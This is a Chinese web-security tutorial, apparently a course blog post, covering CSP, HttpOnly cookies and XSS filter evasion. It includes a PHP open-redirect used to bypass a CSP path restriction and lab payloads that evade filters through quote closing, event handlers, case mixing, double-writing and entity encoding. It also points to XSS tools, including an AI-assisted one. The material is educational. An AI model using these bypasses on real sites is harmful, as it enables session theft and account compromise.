【Web攻防-11】XSS跨站&CSP策略&HttpOnly属性&Filter代码&符号标签&AI绕过&工具项目

CSP策略

概念

内容安全策略(CSP)是一种可信白名单机制,来限制网站中是否可以包含某来源内容。

该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,

它的实现和执行全部由浏览器完成,开发者只需提供配置。

作用

主要防护js文件的加载

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。

合理使用上报可以及时发现XSS,利于尽快修复问题。

判断

查看网络响应包:是否含有”content-security-policy:“字段

实验

两个站点,一个配置CSP的web站点实验,一个含有js文件的web站点

含js的站点

alert(document.cookie);

配置CSP的站点

<meta charset="utf-8">
<?php
//只允许加载本地源图片:
//header("Content-Security-Policy:img-src 'self' ");

//它允许加载来自任何域的JS代码
//header("Content-Security-Policy:default-src 'self'; script-src * ");

//只允许加载当前域的JS代码。
//header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

//只允许加载当前域的JS代码 还限制目录
header("Content-Security-Policy:default-src 'self';script-src http://192.168.10.200:8003/static/");

setcookie('name', 'xiaodi');

?>


<!--加载baidu图片-->
<!--<img src="https://img2.baidu.com/it/u=2874280832,2162791955&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500"/>-->
<!--加载不同域的js文件-->
<script src="https://192.168.10.131/1.js"></script>
<!--加载本地域js文件-->
<script src="x.js"></script>
<!--加载本地域不同目录下js文件-->
<script src="static/xx.js"></script>
<!--利用重定向功能加载上一级目录下的js文件-->
<script src="static/302.php?url=../x.js"></script>

设置任何域JS加载(任何ip):没有做任何防护

header("Content-Security-Policy:default-src 'self'; script-src * ");
<script src="https://192.168.10.131/1.js"></script>

设置本地域JS加载

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

再次尝试加载不同域js文件-发现无法加载

<script src="https://192.168.10.131/1.js"></script>

加载此网站下的x.js文件:

<script src="x.js"></script>

正常加载本域下x.js文件

绕过利用条件:文件上传JS绕过,把js脚本文件上传到当前站点下

设置本地域JS外加限制目录 — 绕过可能性不高

header("Content-Security-Policy:default-src 'self';script-src http://192.168.10.200:8003/static/");

尝试加载发现两个js都不能被加载了

访问设置限制目录下的js

绕过利用条件1:目录有302跳转绕过

条件:有重定向功能

302.php

<?php Header("location: ".$_GET['url'])?>

利用重定向功能加载上一级目录下的js文件

<script src="static/302.php?url=../x.js"></script>

绕过利用条件2:文件上传JS(上传到指定限制目录下)

其他绕过技术

参考:https://xz.aliyun.com/news/11816


http_only – 开启后无法通过js获取cookie

概念

一个可以在设置Cookie时使用的标记;当一个Cookie被标记为HttpOnly时,JavaScript无法访问该Cookie,只能通过HTTP(或HTTPS)协议传输。

作用

这一特性有助于防止跨站脚本攻击(XSS),因为攻击者无法通过JavaScript代码窃取存储在 HttpOnly Cookie中的敏感信息。

实验

开启HttpOnly时XSS窃取Cookie的加载情况

// 设置HttpOnly Cookie
//name 启用httponly true
setcookie('name', 'xiaodi', time() + 3600, '', '', false, true);
//pass 没启用httponly false
setcookie('pass', '123456', time() + 3600, '', '', false, false);

参数解释:

开启httponly

httponly都设置为true:

未开启HttpOnly时XSS窃取Cookie的加载情况

// 设置HttpOnly Cookie
//name 没有启用httponly false
setcookie('name', 'xiaodi', time() + 3600, '', '', false, false);
//pass 没启用httponly false
setcookie('pass', '123456', time() + 3600, '', '', false, false);

判断

F12在存储下cookie里查看

绕过

有但鸡肋

(1) CVE-2012-0053

(2) PHPINFO页面

(3) Flash/Java

https://blog.csdn.net/weixin_42478365/article/details/116597222

思路:一般可不采用获取Cookie利用,采用方式(钓鱼,浏览器攻击框架等)


WAF或代码Filter

黑盒XSS手工分析

步骤:

  • 页面中显示的数据找可控的(有些隐藏的)
  • 利用可控地方发送JS代码去看执行加载情况
  • 成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
  • 根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)

人工分析

演示:xss-lab(关卡)

https://xz.aliyun.com/t/4067

https://xz.aliyun.com/news/11816

https://github.com/Re13orn/xss-lab

https://blog.csdn.net/2301_80031208/article/details/139159525

工具项目

老牌工具:https://github.com/s0md3v/XSStrike

新工具(借助ai)bp插件:https://github.com/wxwhhh/Chypass_pro

演示:

https://xss.xiejiahe.com

无任何过滤

<script>alert()</script>

实体化-过滤尖括号 但输入框没有

进行闭合

">  <script>alert()</script>  <"

全部实体化 –> 利用标签事件 单引号闭合

当鼠标移动到输入框时,触发事件,即执行xss

实战实用性不强 –> 要求苛刻(需要主动点击鼠标等)

" onfocus=javascript:alert() "

全部实体化 –> 利用标签事件 双引号闭合

实用性不强

" onfocus=javascript:alert() "

事件关键字过滤 利用其他标签调用 双引号闭合

利用标签的超链接事件,点击xxx就执行xss语句

实战实用性不强

"> <a href=javascript:alert()>xxx</a> <"

利用大小写未正则匹配

过滤时只过滤了小写,利用大写加小写绕过

"> <sCript>alert()</sCript> <"

利用双写绕过匹配

只做了单次过滤,没有循环过滤

"> <a hrehreff=javascript:alert()>x</a> <"

"> <a href=javasscriptcript:alert()>x</a> <"

对payload进行Unicode编码或者十六进制编码

把语句采用编码绕过过滤

<script>alert()</script&#x003e&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029

利用Unicode编码(内容检测)

当有对内容进行检测时,如链接不合法等,加上http://等

隐藏属性触发闭合

<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

其他11-20

https://blog.csdn.net/l2872253606/article/details/125638898


本节知识点&XSS章节思维导图

Web攻防-XSS跨站-安全防护&CSP&Httponly&WAF等

Web攻防-XSS跨站-工具项目&XSStrike&Chypass_pro

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇